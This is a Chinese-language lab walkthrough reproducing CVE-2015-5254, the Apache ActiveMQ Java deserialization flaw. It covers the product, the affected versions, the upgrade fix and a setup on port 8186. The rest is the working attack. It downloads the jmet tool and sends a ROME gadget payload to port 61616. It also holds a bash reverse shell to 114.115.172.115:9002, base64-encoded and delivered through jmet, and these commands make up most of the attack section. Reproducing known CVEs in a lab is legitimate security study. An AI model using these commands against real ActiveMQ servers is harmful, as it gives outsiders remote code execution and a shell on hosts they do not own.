ActiveMQ 反序列化漏洞（CVE-2015-5254）

本文介绍: Act i v eMQ支持多种消息协议，包括JMS（Ja va 消息服务）、AMQP（高级消息队列协议）和STOMP（简单文本传输协议），使得它能够与不同的客户端和应用程序进行通信。kali中下载jmet的jar包，里面集成了y so seri al，运行 jar包jdk 环境要对应，我的jdk是1.8版本，jdk17执行失败了。再次向服务器发送消息，ActiveMQ的消息队列中会增加一条，当这条被点击的时候我们的反弹 shell也就会被执行。当点击了这条消息后我们的命令就被触发执行了，说明是有这个漏洞的。

Apac he ActiveMQ是一种开源的消息代理（message broker），被广泛用于应用程序之间的消息传递。它提供可靠的消息传递模式，如发布/订阅、点对点和请求/响应，非常适合构建分布式系统和应用程序集成。ActiveMQ支持多种消息协议，包括JMS（Ja va消息服务）、AMQP（高级消息队列协议）和STOMP（简单文本传输协议），使得它能够与不同的客户端和应用程序进行通信。它还提供了高可用性、消息持久化、消息过滤、事务支持等功能，使得开发者能够构建可靠、可扩展的消息传递系统。

说明	内容
漏洞编号	CVE-2015-5254
漏洞名称	Ac tiveMQ 反序列化漏洞
漏洞评级	高危
影响范围	Ac tiveMQ 5.13.0以前版本
漏洞描述	java反序列化任意代码执行
修复方案	升级到Apac he Ac tiveMQ 5.13.0及以上版本

Apac he Ac tiveMQ是由美国Pac hi tea（Apac he）软件基金会开发的开源消息中间件，支持Ja va消息服务、集群、Sp ri n g 框架等。

CVE-2015-5254：该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的java消息服务(JMS)Objec tMessa ge对象利用该漏洞执行任意代码。

评定方式	等级
威胁等级	严重
影响面	广泛

环境搭建好后访问 your–ip:8186，出现这个页面表示环境搭建成功。

ActiveMQ：8186 管理端口， 61616 默认服务端口。

wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar

java -jar jmet-0.1.0-all.jar -Q myevent -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME 114.115.172.115 61616

bash -i >&amp; /dev/tcp/114.115.172.115/9002 0>&amp;1
https://ctf.bugku.com/tool/base64  #编码网站
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTQuMTE1LjE3Mi4xMTUvOTAwMiAwPiYx

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTQuMTE1LjE3Mi4xMTUvOTAwMiAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 114.115.172.115 61616